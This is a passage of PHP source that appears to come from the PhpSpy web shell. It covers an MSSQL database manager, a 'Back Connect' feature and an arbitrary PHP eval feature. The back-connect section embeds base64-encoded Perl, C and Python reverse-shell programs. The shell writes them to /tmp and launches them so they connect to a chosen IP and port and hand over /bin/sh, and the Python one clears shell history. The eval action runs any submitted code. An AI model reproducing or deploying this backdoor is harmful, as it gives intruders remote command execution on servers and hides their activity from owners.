1498 if(isset($dbhost)){
1499 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
1500 }
1501 if(isset($dbuser)) {
1502 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
1503 }
1504 if(isset($dbpass)) {
1505 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
1506 }
1507 if(isset($dbname)) {
1508 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
1509 }
1510
1511 if ($insert && $insertsql) {
1512 $keystr = $valstr = $tmp = '';
1513 foreach($insertsql as $key => $val) {
1514 if ($val) {
1515 $keystr .= $tmp.$key;
1516 $valstr .= $tmp."'".addslashes($val)."'";
1517 $tmp = ',';
1518 }
1519 }
1520 if ($keystr && $valstr) {
1521 msdbconn($dbhost,$dbuser,$dbpass,$dbname);
1522 m(msq("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : msmsg());
1523 }
1524 }
1525 if ($update && $insertsql && $base64) {
1526 $valstr = $tmp = '';
1527 foreach($insertsql as $key => $val) {
1528 $valstr .= $tmp.$key."='".addslashes($val)."'";
1529 $tmp = ',';
1530 }
1531 if ($valstr) {
1532 $where = base64_decode($base64);
1533 msdbconn($dbhost,$dbuser,$dbpass,$dbname);
1534 m(msq("UPDATE $tablename SET $valstr WHERE $where") ? 'Record updating' : msmsg());
1535 }
1536 }
1537 if ($doing == 'del' && $base64) {
1538 $where = base64_decode($base64);
1539 $delete_sql = "DELETE FROM $tablename WHERE $where";
1540 msdbconn($dbhost,$dbuser,$dbpass,$dbname);
1541 m(msq("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : msmsg());
1542 }
1543
1544 if ($tablename && $doing == 'drop') {
1545 msdbconn($dbhost,$dbuser,$dbpass,$dbname);
1546 if (msq("DROP TABLE $tablename")) {
1547 m('Drop table of success');
1548 $tablename = '';
1549 } else {
1550 m(msmsg());
1551 }
1552 }
1553
1554 formhead(array('title'=>'MSSQL Manager'));
1555 makehide('action','mssqladmin');
1556 p('<p>');
1557 p('DBHost:');
1558 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
1559 p('DBUser:');
1560 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
1561 p('DBPass:');
1562 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
1563 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
1564 p('</p>');
1565 formfoot();
1566
1567 //æ“作记录
1568 formhead(array('name'=>'recordlist'));
1569 makehide('doing');
1570 makehide('action','mssqladmin');
1571 makehide('base64');
1572 makehide('tablename');
1573 p($dbform);
1574 formfoot();
1575
1576 //æ•°æ®åº“ä¿¡æ¯
1577 formhead(array('name'=>'mssqlinfo'));
1578 makehide('action','mssqladmin');
1579 makehide('doing','mssqlinfo');
1580 makehide('dbname');
1581 p($dbform);
1582 formfoot();
1583
1584 //选定数æ®åº“
1585 formhead(array('name'=>'setdbname'));
1586 makehide('action','mssqladmin');
1587 p($dbform);
1588 if (!$dbname) {
1589 makehide('dbname');
1590 }
1591 formfoot();
1592
1593 //选定表
1594 formhead(array('name'=>'settable'));
1595 makehide('action','mssqladmin');
1596 p($dbform);
1597 makehide('tablename');
1598 makehide('page',$page);
1599 makehide('doing');
1600 formfoot();
1601
1602 $cachetables = array();
1603 $pagenum = 30;
1604 $page = intval($page);
1605 if($page) {
1606 $start_limit = ($page - 1) * $pagenum;
1607 } else {
1608 $start_limit = 0;
1609 $page = 1;
1610 }
1611
1612 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
1613 !$dbname && $dbname = 'master';
1614 msdbconn($dbhost, $dbuser, $dbpass, $dbname);
1615 ////////////////////////////////////////////////////////////////
1616
1617 $query = msq('select @@version');
1618 $msinfo = mssql_fetch_array($query);
1619 echo '<p>'.$msinfo[0].'</p>';
1620
1621 $query = msq("SELECT IS_MEMBER('db_owner')");
1622 $msinfo = mssql_fetch_array($query);
1623 if ($msinfo[0]) {
1624 $dbo= 'db_owner';
1625 }else{
1626 $dbo= 'public';
1627 }
1628 $query = msq("SELECT IS_SRVROLEMEMBER('sysadmin')");
1629 $msinfo = mssql_fetch_array($query);
1630 if ($msinfo[0]) {
1631 $dbo= 'sysadmin';
1632 }
1633 echo "<h4>Your are $dbo!</h4>";
1634
1635 //èŽ·å–æ•°æ®åº“
1636 $query = msq("SELECT name FROM master.dbo.sysdatabases WHERE has_dbaccess(name) = 1 ORDER BY name");
1637 $dbs = array();
1638 $dbs[] = '-- Select a database --';
1639 while($db = mssql_fetch_array($query)) {
1640 $dbs[$db['name']] = $db['name'];
1641 }
1642 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
1643 makeselect(array('title'=>' SQLExec : ','name'=>'sqlcmd','option'=>$sqlcmd,'selected'=>$dbname,'onchange'=>'onchangesel()'));
1644 $tabledb = array();
1645 if ($dbname) {
1646 p('<p>');
1647 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a> [ <a href="javascript:mssqlinfo(\''.$dbname.'\');">information</a> ]');
1648 if ($tablename) {
1649 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
1650 }
1651 p('</p>');
1652 if ($doing == 'mssqlinfo') {
1653 $result = msq("SELECT t1.owner, t1.crdate, t1.size, t2.DBBupDate, t3.DifBupDate, t4.JournalBupDate FROM (SELECT d.name, suser_sname(d.sid) AS owner, d.crdate, (SELECT STR(SUM(CONVERT(DEC(15), f.size)) * (SELECT v.low FROM master.dbo.spt_values v WHERE v.type = 'E' AND v.number = 1) / 1048576, 10, 2) + 'MB' FROM [$dbname].dbo.sysfiles f) AS size FROM master.dbo.sysdatabases d WHERE d.name = '[$dbname]') AS t1 LEFT JOIN (SELECT '[$dbname]' AS name, MAX(backup_finish_date) AS DBBupDate FROM msdb.dbo.backupset WHERE type = 'D' AND database_name = '[$dbname]') AS t2 ON t1.name = t2.name LEFT JOIN (SELECT '[$dbname]' AS name, MAX(backup_finish_date) AS DifBupDate FROM msdb.dbo.backupset WHERE type = 'I' AND database_name = '[$dbname]') AS t3 ON t1.name = t3.name LEFT JOIN (SELECT '[$dbname]' AS name, MAX(backup_finish_date) AS JournalBupDate FROM msdb.dbo.backupset WHERE type = 'L' AND database_name = '[$dbname]') AS t4 ON t1.name = t4.name");
1654 $info = mssql_fetch_assoc($result);
1655
1656 p('<table border="0" cellpadding="3" cellspacing="0">');
1657 p('<tr class="head">');
1658 p('<td colspan="2">'.$dbname.' Information</td>');
1659 p('</tr>');
1660
1661 p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');
1662 p('<td>Owner</td><td>'.$info['owner'].'</td>');
1663 p('</tr>');
1664 p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');
1665 p('<td>Create date</td><td>'.$info['crdate'].'</td>');
1666 p('</tr>');
1667 p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');
1668 p('<td>Size</td><td>'.$info['size'].'</td>');
1669 p('</tr>');
1670 p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');
1671 p('<td>Last backup</td><td>'.$info['DBBupDate'].' </td>');
1672 p('</tr>');
1673 p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');
1674 p('<td>Last differential backup</td><td>'.$info['DifBupDate'].' </td>');
1675 p('</tr>');
1676 p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');
1677 p('<td>Last log backup</td><td>'.$info['JournalBupDate'].' </td>');
1678 p('</tr>');
1679 tbfoot();
1680 p('<br /><br />');
1681
1682 $result = msq("EXEC sp_helpfile");
1683 $rowdb = array();
1684 while ($row = mssql_fetch_assoc($result)) {
1685 $rowdb[] = $row;
1686 }
1687 foreach($rowdb as $row){
1688 p('<table border="0" cellpadding="3" cellspacing="0">');
1689 p('<tr class="head">');
1690 p('<td colspan="2">'.$row['name'].'</td>');
1691 p('</tr>');
1692 p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');
1693 p('<td>Filename</td><td>'.$row['filename'].' </td>');
1694 p('</tr>');
1695 p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');
1696 p('<td>Filegroup</td><td>'.$row['filegroup'].' </td>');
1697 p('</tr>');
1698 p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');
1699 p('<td>Size</td><td>'.$row['size'].' </td>');
1700 p('</tr>');
1701 p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');
1702 p('<td>Maxsize</td><td>'.$row['maxsize'].' </td>');
1703 p('</tr>');
1704 p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');
1705 p('<td>Growth</td><td>'.$row['growth'].' </td>');
1706 p('</tr>');
1707 p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');
1708 p('<td>Usage</td><td>'.$row['usage'].' </td>');
1709 p('</tr>');
1710 tbfoot();
1711 p('<br /><br />');
1712 }
1713 } else {
1714 $getnumsql = '';
1715 $runquery = 0;
1716 if ($sql_query) {
1717 $runquery = 1;
1718 }
1719 $allowedit = 0;
1720 if ($tablename && !$sql_query) {
1721 $sql_query = "SELECT * FROM $tablename";
1722 $getnumsql = "SELECT count(*) FROM $tablename";
1723 $allowedit = 1;
1724 }
1725
1726 p('<form action="'.$self.'" method="POST">');
1727 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
1728 makehide('tablename', $tablename);
1729 makehide('action','mssqladmin');
1730 p($dbform);
1731 p('</form>');
1732 if ($tablename || ($runquery && $sql_query)) {
1733 if ($doing == 'structure') {
1734 $result = msq("select b.name,c.name as type,c.xtype,b.length,b.isnullable,b.colstat,case when b.autoval is null then 0 else 1 end,b.colid,a.id,d.text from sysobjects a join syscolumns b on a.id = b.id join systypes c on b.xtype = c.xtype and c.usertype <> 18 left join syscomments d on d.id = b.cdefault where a.id = OBJECT_ID('$tablename') order by b.colid");
1735 $rowdb = array();
1736 while($row = mssql_fetch_array($result)) {
1737 $rowdb[] = $row;
1738 }
1739 p('<table border="0" cellpadding="3" cellspacing="0">');
1740 p('<tr class="head">');
1741 p('<td>Field</td>');
1742 p('<td>Type[xtype]</td>');
1743 p('<td>Length</td>');
1744 p('<td>Isnullable</td>');
1745 p('<td>Key</td>');
1746 p('<td>Default</td>');
1747 p('<td>Extra</td>');
1748 p('</tr>');
1749 foreach ($rowdb as $row) {
1750 $thisbg = bg();
1751 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1752 p('<td>'.$row['name'].'</td>');
1753 p('<td>'.$row['type'].'['.$row['xtype'].']</td>');
1754 p('<td>'.$row['length'].' </td>');
1755 p('<td>'.($row['isnullable'] ? 'Yes' : 'No').' </td>');
1756 p('<td>'.($row['colstat'] ? 'PRIMARY' : '').' </td>');
1757 p('<td>'.$row['text'].' </td>');
1758 p('<td>'.($row['autoval'] ? 'Auto_increment' : '').' </td>');
1759 p('</tr>');
1760 }
1761 p('<tr class="head">');
1762 p('<td>Field</td>');
1763 p('<td>Type[xtype]</td>');
1764 p('<td>Length</td>');
1765 p('<td>Isnullable</td>');
1766 p('<td>Key</td>');
1767 p('<td>Default</td>');
1768 p('<td>Extra</td>');
1769 p('</tr>');
1770 tbfoot();
1771 } elseif ($doing == 'insert' || $doing == 'edit') {
1772 $result = msq("select b.name,c.name as type,c.xtype,b.length,b.isnullable,b.colstat,case when b.autoval is null then 0 else 1 end,b.colid,a.id,d.text from sysobjects a join syscolumns b on a.id = b.id join systypes c on b.xtype = c.xtype and c.usertype <> 18 left join syscomments d on d.id = b.cdefault where a.id = OBJECT_ID('$tablename') order by b.colid");
1773 $rowdb = array();
1774 while($tb = @mssql_fetch_assoc($result)) {
1775 $rowdb[$tb['name']] = $tb;
1776 $rowdb[$tb['name']]['Key'] = $tb['colstat'];
1777 $rowdb[$tb['name']]['Auto'] = $tb['autoval'];
1778 }
1779 $rs = array();
1780 if ($doing == 'insert') {
1781 p('<h2>Insert new line in '.$tablename.' table »</h2>');
1782 } else {
1783 p('<h2>Update record in '.$tablename.' table »</h2>');
1784 $where = base64_decode($base64);
1785
1786 $result = msq("SELECT top 1 * FROM $tablename WHERE $where");
1787 $rs = mssql_fetch_array($result);
1788 }
1789 p('<form method="post" action="'.$self.'">');
1790 p($dbform);
1791 makehide('action','mssqladmin');
1792 makehide('tablename',$tablename);
1793 p('<table border="0" cellpadding="3" cellspacing="0">');
1794
1795 foreach ($rowdb as $row) {
1796 if ($rs[$row['name']]) {
1797 $value = htmlspecialchars($rs[$row['name']]);
1798 } else {
1799 $value = '';
1800 }
1801 $thisbg = bg();
1802 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1803 if ($row['Key'] || $row['Auto']) {
1804 p('<td><b>'.$row['name'].'</b><br />'.$row['type'].'('.$row['length'].')'.($row['colstat'] ? '<br /><b>PRIMARY</b>' : '').($row['autoval'] ? ' <br /><b>Auto</b>' : '').'</td><td>'.$value.' </td></tr>');
1805 } else {
1806 p('<td><b>'.$row['name'].'</b><br />'.$row['type'].'('.$row['length'].')'.($row['colstat'] ? '<br /><b>PRIMARY</b>' : '').($row['autoval'] ? ' <br /><b>Auto</b>' : '').'</td><td><textarea class="area" name="insertsql['.$row['name'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
1807 }
1808 }
1809 if ($doing == 'insert') {
1810 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1811 } else {
1812 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1813 makehide('base64', $base64);
1814 }
1815 p('</table></form>');
1816 } else {
1817 $querys = @explode(';',$sql_query);
1818 foreach($querys as $num=>$query) {
1819 if ($query) {
1820 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
1821 switch(msqy($query))
1822 {
1823 case 0:
1824 p('<h2>Error : '.msmsg().'</h2>');
1825 break;
1826 case 1:
1827 if (strtolower(substr($query,0,13)) == 'select * from') {
1828 $allowedit = 1;
1829 }
1830 if ($getnumsql) {
1831 $tatol = mssql_fetch_array(msq($getnumsql));
1832 $tatol = $tatol[0];
1833 $multipage = multi($tatol, $pagenum, $page, $tablename);
1834 }
1835 if (!$tablename) {
1836 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1837 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1838 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
1839 $tablename = $matches[1][0];
1840 }
1841 p($multipage);
1842
1843 $result = msq("select b.name,c.name as type,c.xtype,b.length,b.isnullable,b.colstat,case when b.autoval is null then 0 else 1 end,b.colid,a.id,d.text from sysobjects a join syscolumns b on a.id = b.id join systypes c on b.xtype = c.xtype and c.usertype <> 18 left join syscomments d on d.id = b.cdefault where a.id = OBJECT_ID('$tablename') order by b.colid");
1844 $rowdb = $tbdb = array();
1845 $keyfied = ''; //䏻键嗿®µ
1846 while($tb = @mssql_fetch_array($result)) {
1847 $tbdb[] = $tb;
1848 $rowdb[$tb['name']]['Key'] = $tb['colstat'];
1849 $rowdb[$tb['name']]['Auto'] = $tb['autoval'];
1850 if ($tb['colstat']) {
1851 $keyfied = $tb['name'];
1852 }
1853 }
1854 p('<table border="0" cellpadding="3" cellspacing="0">');
1855 p('<tr class="head">');
1856 if ($allowedit) p('<td>Action</td>');
1857 foreach($tbdb as $tb){
1858 p('<td nowrap>'.$tb['name'].'<br><span>'.$tb['type'].'('.$tb['length'].') '.($tb['colstat'] ? '<b> - PRIMARY</b>' : '').($tb['autoval'] ? '<b> - Auto</b>' : '').'</span></td>');
1859 }
1860 p('</tr>');
1861
1862 //直接æµè§ˆè¡¨æŒ‰ç…§ä¸»é”®é™åºæŽ’列
1863 if ($keyfied && strtolower(substr($query,0,13)) == 'select * from') {
1864 $query .= " order by $keyfied DESC";
1865 }
1866
1867 $result = msq($query);
1868 $index=0;
1869 !$start_limit && $start_limit == 1;
1870 if($pagenum>0) @mssql_data_seek($result,$start_limit);
1871 while($mn = @mssql_fetch_assoc($result)){
1872 //ä¸èƒ½ç”¨ DB-Library (如 ISQL)或 ODBC 3.7 或更早版本将 ntext æ•°æ®æˆ–仅使用 Unicode 排åºè§„则的 Unicode æ•°æ®å‘é€åˆ°å®¢æˆ·ç«¯ã€‚
1873 //这个问题ä¸èƒ½è§£å†³ã€‚PHPè‡ªå¸¦æ‰©å±•ä¸æ”¯æŒè¯»å–nvalcharå’Œnvarchar类型。
1874 if($index>$pagenum-1) break;
1875
1876 $thisbg = bg();
1877 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1878
1879 $where = $tmp = $b1 = '';
1880 //选喿¡ä»¶å—段用
1881 foreach($mn as $key=>$inside){
1882 if ($inside) {
1883 //查找主键ã€å”¯ä¸€å±žæ€§ã€è‡ªåŠ¨å¢žåŠ çš„å—æ®µï¼Œæ‰¾åˆ°å°±åœæ¢ï¼Œå¦åˆ™ç»„åˆæ‰€æœ‰å—段作为æ¡ä»¶ã€‚
1884 if ($rowdb[$key]['Key'] == 1 || $rowdb[$key]['Auto'] == 1) {
1885 $where = $key."='".addslashes($inside)."'";
1886 break;
1887 }
1888 $where .= $tmp.$key."='".addslashes($inside)."'";
1889 $tmp = ' AND ';
1890 }
1891 }
1892 //读å–记录用
1893 foreach($mn as $key=>$inside){
1894 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
1895 }
1896 $where = base64_encode($where);
1897
1898 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
1899
1900 p($b1);
1901 p('</tr>');
1902 $index++;
1903 unset($b1);
1904 }
1905 p('<tr class="head">');
1906 if ($allowedit) p('<td>Action</td>');
1907 foreach($tbdb as $tb){
1908 p('<td nowrap>'.$tb['name'].'<br><span>'.$tb['type'].'('.$tb['length'].') '.($tb['colstat'] ? '<b> - PRIMARY</b>' : '').($tb['autoval'] ? '<b> - Auto</b>' : '').'</span></td>');
1909 }
1910 p('</tr>');
1911 tbfoot();
1912 p($multipage);
1913 break;
1914 case 2:
1915 $ar = mssql_affected_rows();
1916 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1917 break;
1918 }
1919 }
1920 }
1921 }
1922 } else {
1923 $query = msq("select sysobjects.id,sysobjects.name,sysobjects.category,sysusers.name as owner,sysobjects.crdate from sysobjects join sysusers on sysobjects.uid = sysusers.uid where sysobjects.xtype = 'U' order by sysobjects.name asc");
1924 $table_num = 0;
1925 $tabledb = array();
1926 while($table = mssql_fetch_array($query)) {
1927 $table_num++;
1928 $tabledb[] = $table;
1929 }
1930 unset($table);
1931
1932 p('<table border="0" cellpadding="0" cellspacing="0">');
1933 p('<form action="'.$self.'" method="POST">');
1934 makehide('action','mssqladmin');
1935 p($dbform);
1936 p('<tr class="head">');
1937 p('<td>Name</td>');
1938 p('<td>Owner</td>');
1939 p('<td>Create_time</td>');
1940 p('<td>Operate</td>');
1941 p('</tr>');
1942 foreach ($tabledb as $key => $table) {
1943 $thisbg = bg();
1944 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1945 p('<td><a href="javascript:settable(\''.$dbname.'.'.$table['owner'].'.'.$table['name'].'\');">'.$table['name'].'</a></td>');
1946 p('<td>'.$table['owner'].'</td>');
1947 p('<td>'.$table['crdate'].'</td>');
1948 p('<td><a href="javascript:settable(\''.$dbname.'.'.$table['owner'].'.'.$table['name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$dbname.'.'.$table['owner'].'.'.$table['name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$dbname.'.'.$table['owner'].'.'.$table['name'].'\', \'drop\');">Drop</a></td>');
1949 p('</tr>');
1950 }
1951 p('<tr class="head">');
1952 p('<td>Name</td>');
1953 p('<td>Owner</td>');
1954 p('<td>Create_time</td>');
1955 p('<td>Operate</td>');
1956 p('</tr>');
1957 p('<tr class='.bg().'>');
1958 p('<td colspan="4">Total tables: '.$table_num.'</td>');
1959 p('</tr>');
1960 p("</table>");
1961 msfr($query);
1962 }
1963 }
1964 }
1965 }
1966 tbfoot();
1967 if ($alreadymssql) {
1968 @mssql_close();
1969 }
1970}//end sql backup
1971
1972
1973elseif ($action == 'backconnect') {
1974 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1975 !$yourport && $yourport = '53';
1976 $usedb = array('python'=>'python','perl'=>'perl','c'=>'c');
1977 $yourip = gethostbyname($yourip);
1978 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1979 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1980 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1981 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1982 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1983 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1984 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1985 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1986 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1987 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1988 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1989 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1990 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1991 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1992 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1993 $back_connect_py="IyAtKi0gY29kaW5nOnV0Zi04IC0qLQ0KIyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoiIiINCmJhY2sgY29ubmVjdCBweSB2ZXJzaW9uLG9ubHkgbGludXggaGF2ZS".
1994 "BwdHkgbW9kdWxlDQoiIiINCmltcG9ydCBzeXMsb3Msc29ja2V0LHB0eQ0Kc2hlbGwgPSAiL2Jpbi9zaCINCmRlZiB1c2FnZShuYW1lKToNCiAgICBwcmludCAn".
1995 "cHl0aG9uIGNvbm5lY3QgYmFja2Rvb3InDQogICAgcHJpbnQgJ3VzYWdlOiAlcyA8aXBfYWRkcj4gPHBvcnQ+JyAlIG5hbWUNCg0KZGVmIG1haW4oKToNCiAgIC".
1996 "BpZiBsZW4oc3lzLmFyZ3YpICE9MzoNCiAgICAgICAgdXNhZ2Uoc3lzLmFyZ3ZbMF0pDQogICAgICAgIHN5cy5leGl0KCkNCiAgICBzPXNvY2tldC5zb2NrZXQo".
1997 "c29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KICAgIHRyeToNCiAgICAgICAgcy5jb25uZWN0KChzeXMuYXJndlsxXSxpbnQoc3lzLmFyZ3ZbMl".
1998 "0pKSkNCiAgICAgICAgcHJpbnQgJ2Nvbm5lY3Qgb2snDQogICAgZXhjZXB0Og0KICAgICAgICBwcmludCAnY29ubmVjdCBmYWlsZCcNCiAgICAgICAgc3lzLmV4".
1999 "aXQoKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwyKQ0KICAgIG".
2000 "dsb2JhbCBzaGVsbA0KICAgIG9zLnVuc2V0ZW52KCdISVNURklMRScpDQogICAgb3MudW5zZXRlbnYoJ0hJU1RGSUxFU0laRScpDQogICAgcHR5LnNwYXduKHNo".
2001 "ZWxsKQ0KICAgIHMuY2xvc2UoKQ0KDQppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOg0KICAgIG1haW4oKQ==";
2002 if ($start && $yourip && $yourport && $use){
2003 if ($use == 'perl') {
2004 cf('/tmp/angel_bc',$back_connect);
2005 $res = execute("perl /tmp/angel_bc $yourip $yourport &");
2006 } else if ($use == 'python'){
2007 m('python');
2008 cf('/tmp/r00t_py',$back_connect_py);
2009 $pypath = execute('which python');
2010 $pypath = $pypath ? chop($pypath) : 'python';
2011 $res = execute("$pypath /tmp/r00t_py $yourip $yourport");
2012
2013 }else {
2014 cf('/tmp/angel_bc.c',$back_connect_c);
2015 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
2016 @unlink('/tmp/angel_bc.c');
2017 $res = execute("/tmp/angel_bc $yourip $yourport &");
2018 }
2019 m("Now script try connect to $yourip port $yourport ...");
2020 }
2021
2022 formhead(array('title'=>'Back Connect'));
2023 makehide('action','backconnect');
2024 p('<p>');
2025 p('Your IP/Domain:');
2026 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
2027 p('Your Port:');
2028 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
2029 p('Use:');
2030 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
2031 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
2032 p('</p>');
2033 formfoot();
2034}//end sql backup
2035
2036elseif ($action == 'eval') {
2037 $phpcode = trim($phpcode);
2038 if($phpcode){
2039 if (!preg_match('#<\?#si', $phpcode)) {
2040 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
2041 }
2042 eval("?".">$phpcode<?");
2043 }
2044 formhead(array('title'=>'Eval PHP Code'));
2045 makehide('action','eval');
2046 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
2047 p('<p><a href="http://w'.'ww.4ng'.'el.net/php'.'spy/pl'.'ugin/" target="_blank">Get plugins</a></p>');
2048 formfooter();
2049}//end eval
2050
2051elseif ($action == 'editfile') {
2052 if(file_exists($opfile)) {
2053 $fp=@fopen($opfile,'r');
2054 $contents=@fread($fp, filesize($opfile));
2055 @fclose($fp);
2056 $contents=htmlspecialchars($contents);
2057 }
2058 formhead(array('title'=>'Create / Edit File'));
2059 makehide('action','file');
2060 makehide('dir',$nowpath);
